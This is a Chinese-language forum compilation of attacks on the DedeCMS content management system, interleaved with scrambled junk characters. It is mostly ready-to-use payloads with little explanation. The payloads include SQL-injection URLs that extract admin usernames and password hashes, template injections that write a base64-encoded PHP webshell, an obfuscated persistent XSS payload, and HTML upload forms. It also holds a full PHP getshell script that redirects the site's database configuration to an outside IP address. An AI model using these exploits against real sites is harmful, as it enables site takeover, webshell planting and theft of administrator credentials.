dedecms漏洞总结

admin

% z0 j- U8 g. L$ t/ |- J: @Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
: w" P! J# w1 L7 T

  u/ o2 c: ^; U7 W( ?  }/ \' D' d

% c  J2 Y$ R* O3 R# I5 ]$ o; A
: Z' O% H0 m# |

/ F0 v; H' j$ K5 u9 S9 ]- f5 h
6 e6 x3 }5 H5 CDedeCms v5.6 嵌入恶意代码执行漏洞
6 u4 ^+ g: S6 u注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
+ z" O0 q4 ^" z% J) P# O生成x.php 密码xiao，直接生成一句话。


4 _/ D1 W$ X. A( K; K* Q




8 p1 c% i  f  Q9 ]
; M& E3 o1 M" I" l# lDede 5.6 GBK SQL注入漏洞
' Z4 c1 {/ I* U2 Hhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
! S3 P. f$ s& A& z
+ A* c- G' O- a% k, ?! C  @5 [
( Y" T) a" w0 w, n, w
9 `" h, ]5 _' C% Y8 R% z
: r2 w* N# g. ?5 w9 [
* k$ H8 h% [, w/ _* p$ K/ T
7 [/ ~* F# R$ ]) R

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
0 R' j$ ?) B0 d  A" q





DEDECMS 全版本 gotopage变量XSS漏洞
% P- P$ m3 }, T- S+ J( B; a9 p1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
' T2 c' A. k9 m2 h3 ~5 L

2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
/ i2 n8 ^4 S! phttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
2 c% u2 c; P# \/ k* r+ ~

) V2 v0 e& ^  M/ h# jhttp://v57.demo.dedecms.com/dede/login.php
, t6 F/ X& q1 Q, U  h

$ U& b; |# u- Z  zcolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
) ]4 y7 W0 c% J7 ]7 L9 l/ Lset_time_limit(0);
print_r('
DEDEcms Variable Coverage
$ q) d. d9 Q5 m" Q1 M3 `Exploit Author: www.heixiaozi.comwww.webvul.com
);
4 q) s, N4 v" i; c( H( uecho "\r\n";
if($argv[2]==null){
2 W! m( j5 z; F* q2 aprint_r('
9 S3 {& z$ ?) u- \7 k9 h+---------------------------------------------------------------------------+
' Q3 t  \3 m7 q& [) Z% l# O4 sUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
; x) X1 P# d" V7 m4 |php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
  `9 Y3 j* u) B% A1 [');
exit;
}
$url=$argv[1];
$aid=$argv[2];
2 j. a9 l, ~+ ]5 V' ^" o- V4 W& w$path=$argv[3];
, }) V% _4 Z4 d: o. ?+ k$ [+ Q$exp=Getshell($url,$aid,$path);
6 Z# s$ E# T. b! v7 }: \! wif (strpos($exp,"OK")>12){
echo "
, V2 Q2 b% m: T  f. d2 Q: @* jExploit Success \n";
# e  A  v2 y% |. o: t* rif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
' ^5 ]3 e! \0 M8 b
( B$ N; P1 v6 O& ?
if($aid==2)echo "
9 U$ j1 g8 r! H& {# q0 KShell:".$url."/$path/fuck.php\n" ;

: O/ M' i3 I, k, g& n1 k
: Z9 o) k! o' {+ Z2 @2 Rif($aid==3)echo "
% h) f. ]4 x4 u* G# q9 h# S) _2 wShell:".$url."/$path/plus/fuck.php\n";
4 w- q' G/ \& I  h* E# Z6 I

2 a) Q6 e) \: Z: z% m' v) M}else{
" [' h9 ?6 R: @: a4 u# \8 Lecho "
# }4 b" y8 Q$ h3 d2 a2 `; jExploit Failed \n";
}
# p% t  q8 p4 Q) Kfunction Getshell($url,$aid,$path){
4 d+ \, `2 ^8 ]" b" ?9 h' L  h) r( U5 {$id=$aid;
; V  w/ \5 U! d0 R. E$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
0 W4 R, ?0 @1 R1 e$data .= "Host: ".$host."\r\n";
* d' t' J/ g: J' }3 ]$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 C3 w1 B: H) Y" L; }. M$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
2 ^! q. Q, K3 K//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
) t1 v! H9 v, N$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
# d$ i; A) S; @$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
6 a* J' i2 z% |1 ^$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
3 k/ [% M$ R3 J/ `! Jecho "
No response from ".$host."\n";
}
8 W) ]5 m# I0 U% T& cfwrite($ock,$data);
while (!feof($ock)) {
0 j+ u0 I$ H- w' F* W! C4 I$exp=fgets($ock, 1024);
return $exp;
}
) J0 @1 A5 D! K9 O}
0 x( y2 R" X" p$ l, S0 U0 I

. }( a  _  _2 C/ L?>

8 }# t' ]7 I# F; d1 e


9 J( l, {  W5 G2 F3 u3 @

5 X% ?: v: n8 f+ z( J
. X1 i- K, n- D' K! K* l  E
" n/ h& p, U/ p  `& U( J% L9 n5 Q

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
, d; f9 f9 l. G5 q6 \

把上面validate=dcug改为当前的验证码，即可直接进入网站后台
# n* g! Q! R% K; b2 n" b" @

此漏洞的前提是必须得到后台路径才能实现

! C2 y- T) L4 `& ]

' A& A' q2 {, [1 j
+ v1 ^7 H5 u! ^7 z0 ~4 ?


8 }$ \# M6 z0 e9 h, j
5 q/ C8 K; D) ?* O! P
6 A" m7 H; W8 G
Dedecms织梦 标签远程文件写入漏洞
: b" u/ b' g2 X! G; t6 \; Z前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

8 c3 }* k7 f, D- K% ^2 {
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
. V0 ]6 T% U$ i) r<form action="" method="post" name="QuickSearch" id="QuickSearch">
3 f. e8 p/ A, F8 k& _/ N<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
, ~$ X0 M6 k* j. t" x<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
/ ]* S9 h7 U! v0 Y8 X5 }  g<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
& \. k9 R. @2 U' |- ~1 }. |, C<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
+ t. G3 j* K2 G: O5 N- M( Y<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
) |$ G8 X5 s: n, |- C7 A</form>
) v7 r9 v6 e2 G- D" e' U<script>
* Q  b1 H* I5 v7 ?2 jfunction addaction()
% t& e" _6 I9 D1 J{
. \1 W; s* Z7 M- Ddocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
3 j& j& ?* [/ x) P9 e% n</script>
) y# m: d' e" ]' o* H

% S& H: s% ]! w, n
. C' U" E$ u6 \" w9 Y






DedeCms v5.6 嵌入恶意代码执行漏洞
2 b- `# x  H; J9 P6 G9 A) \) h) \注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
3 Z; }9 L7 L5 X( B# @5 g& Y% Da{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
& h/ [  }* P- V1 f. b3 C% ?生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
! v& ~& G5 @9 t- Y5 g7 E0 }Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

# e6 u3 M3 D9 ~- b7 s2 r
模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
5 ]1 S" d2 c! f$ r$ U5 k" P! f@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
) q! f  ^; Y5 z: `. J2 修改刚刚发表的文章，查看源文件，构造一个表单：
- M* {- q* \. A) C7 Q- g<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
: Z' T: _4 I1 S9 a+ R5 K  X" p<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
" y. }( C7 z6 I" i! c

( T7 ?: W6 w2 Y5 j<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


4 `' a6 A  w7 Z, @, ^<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
2 a8 T, Q: m! e  I: b! P+ ]

6 n7 `/ c3 |# Z, g<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
$ i; Q8 |- m, D- R
9 c. Q. u$ b+ x7 M$ F* E
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
  z! t' U$ E- }% s3 b5 m3 A7 f. m* e
& G; K2 X8 Z  L! M  f% f
# ~  o% C1 `+ L, @% W- {' y; @<label>隶属栏目：</label>
<select name='typeid' size='1'>
& g; O4 k  W0 T1 `<option value='1' class='option3' selected=''>测试栏目</option>
6 T0 N0 d* N! x! V</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
# h: {7 z2 o9 u9 h<option value='1' class='option3' selected>hahahha</option>
</select>


% }0 b+ F: O5 a7 `3 S4 Q. I$ a<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
1 |* u8 w% W* U  N# }(内容的简要说明)
: K5 ^/ V; f" _$ w8 P

$ X! ]  a' F6 J. Z/ _<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
. ?$ K& l1 Y3 O8 B& J, e
- H/ Y0 `3 P( a
, r8 l' D  m+ [* J/ E' g6 H$ W<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>


<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
7 V* |: a  n& s. L2 g) b) _

7 ~/ V$ j$ G1 c! B. d% i<div class="contentShow postForm">
, k/ ^7 @: W9 D<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
* ]  A+ M6 I4 h! I5 p<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
3 m: |) H: ~/ i! ^2 ]. t) T/ M9 `

3 J; m! E1 z& C3 q$ n<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
/ G- c% g; ~6 A+ [0 X2 o; a</div>
, T4 Z4 n3 G  Y' ~& Q; F

</div>

0 z. K# T, B1 b6 j
</form>

' }2 g; g* W8 F0 {5 F: ]
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
9 r1 _8 i) @9 j% w假设刚刚修改的文章的aid为2，则我们只需要访问：
, B8 J1 h  _/ P& N4 b% Vhttp://127.0.0.1/dede/plus/view.php?aid=2
, S/ P" |# j7 _4 b即可以在plus目录下生成webshell：1.php
; ?1 g5 ^( }: Y: k% Z, V+ D2 u
4 U% W, @6 M9 z( r) x( q

7 J7 j" u! m# \- e: K5 M



( [: ?6 h' ^: x7 ?" d$ m
% Q) C0 j/ D( |& ^5 I8 f
! p0 F- c% p4 e7 E% c

% }8 u% \  I8 ]7 r9 L1 k' K
# I- A$ e6 {* A1 D6 l+ [DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
+ t" |* m3 ~& J1 @; S6 \$ Dphpinfo();
{/dede:field}
: b, J) ~9 c$ c' o保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
8 L  M' K7 R) M<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
+ Q- W$ Q* B; d<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
7 J% M& T" [& t<button class="button2" type="submit" >更改</button>
5 |  ~5 `& d) {. t+ B" g</form>
; e6 Q3 A' N% j. b* b: o

& E6 L8 |) @7 t$ R2 J5 b4 q构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
$ B* e5 @- I' w+ j1 f; r% q发表文章，然后构造修改表单如下：


8 K5 }  L  V0 D1 p<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
5 }7 a" O# @8 g. I1 p  @! g8 H<input type="hidden" name="aid" value="2" />
0 f* t4 e" j& s3 A* X% `- Z/ A<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
" @4 I/ Q* T/ \9 S2 q) C# E+ y) B<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
+ _" `: B! c# g0 Z' c  }<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
) |9 m+ p. O2 W. I0 H6 M* m( l<option value='0' selected>请选择分类...</option>
2 {1 x$ e2 W% U# e<option value='1' class='option3' selected>aa</option></select>
/ {5 Z7 P5 C/ P# r# Q<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
+ Z7 a# \2 _& N5 s/ B$ [. C<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
# O$ A+ _/ C8 ^6 {+ q<button class="button2" type="submit">提交</button>
9 I; R7 T' x, F1 {3 f</form>
2 ]/ B8 |! p9 Q& R
& L9 b3 K* D- \+ P5 D/ m) }: @







6 p' }4 G2 {% j3 {
+ n3 |: Z. e/ ?% {: H! R2 v, y
9 N& |4 J+ c; v$ V' P$ E* O
织梦(Dedecms)V5.6 远程文件删除漏洞
  M9 x0 f) t; {% P6 Hhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

7 ]9 |7 g* C. ]& _


' |6 v8 M4 M" t6 W6 {+ F9 T





. z) Q/ ?. G! Q" \织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
; Z& P4 s0 @# D% x+ [" t3 G& ~- `http://www.test.com/plus/carbuya ... urn&code=../../
* x7 ~9 g$ p1 m: M
$ |9 Z1 e3 w# P
1 b1 e0 g/ t4 \+ k2 O

7 o5 b$ b* d0 ^" k" {& p$ Z( R. D

2 C% l5 Q8 @& |9 N1 \0 q! B4 t0 g


2 I. T7 `  W1 ~$ |8 O
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
3 N2 z0 k' Y, g/ ^
8 |4 D2 f8 l" F5 Y5 @; x* v
/ I2 N# W: n  k. m" d
  y% Q' L& O  @! j, P/ `
# y7 e; U; y. X/ ~4 h
7 V% k& G2 b% m, c9 [# l




" i1 \! V$ l" [3 w织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
' Q% n; B8 p# V! s  Bhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
' y- j. Z) j7 l: v
2 A1 u& ~5 X; S8 I


# T3 H) E0 `& O4 h4 _0 [
  ]& R5 h( t3 `5 p/ @$ @  I




( m" a$ r- X1 @( A织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
' o" g, P& L0 W) v& m2 i% G# n5 O<html>
" b. L/ C0 T$ k4 _<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
) ~8 |  N- ]; l<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
5 T2 u$ H4 y( M1 a9 p4 W" \<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
0 p0 w' |& }; U0 b' g7 J4 G<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
0 [6 h' L- n$ v<input type='hidden' name='f' value='form1.enclosure' />
/ i* Y9 l# R2 ^4 F. D<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
( p8 b: X3 H! J* g<input type='submit' name='sb1' value='确定' />
+ O  u$ U0 F, _; M</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
% L4 @2 j" ^' p' c+ O0 t, ]+ ~Fun the game,get a webshell at /data/cache/fly.php...<br />
; R1 F) Y1 d$ x</body>
</html>

8 R' z8 J7 p  ]0 g

& N& H: @  t$ E' r- O

7 m- \5 c; P/ d8 f, T

* b! S* H# T3 W) U+ \
/ m# w7 g+ j# J3 [$ d
" R$ @' A' @, x" E8 k6 {
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
+ v1 C0 M5 b9 K8 Y$ ^, o
0 l; T% J- I' q, }
2 u0 \9 M5 y: Z+ l3 {: t( u/ K2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
. U+ a  v- k' b/ _8 [! L; iError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
7 |& P5 S* I  L8 y- }

9 f1 ^. u( _7 z$ S/ K' R  u0 \3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
! W. p( y/ _) q1 Y% ^+ j
# b: {5 W* n. {. Y
) J4 |' x! A1 C! S" x<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
8 z% f0 t: m7 O# s$ k: V& v3 U

- T7 H0 h5 u' l3 T8 U* n! j4 W按确定后的看到第2步骤的信息表示文件木马上传成功.

6 X8 Q3 \& f* ?+ e4 T

& P  s4 Y% E, B8 r& M1 _

$ ~2 [/ x3 I0 T( W' m" ?




. C1 Z* p: |) O  v; Q$ O
+ A6 x" c( Z9 R
+ Y; x# ^' E) t5 _织梦(DedeCms)plus/infosearch.php 文件注入漏洞
& d  L  Y& L0 d% v* ]1 M, N2 Lhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*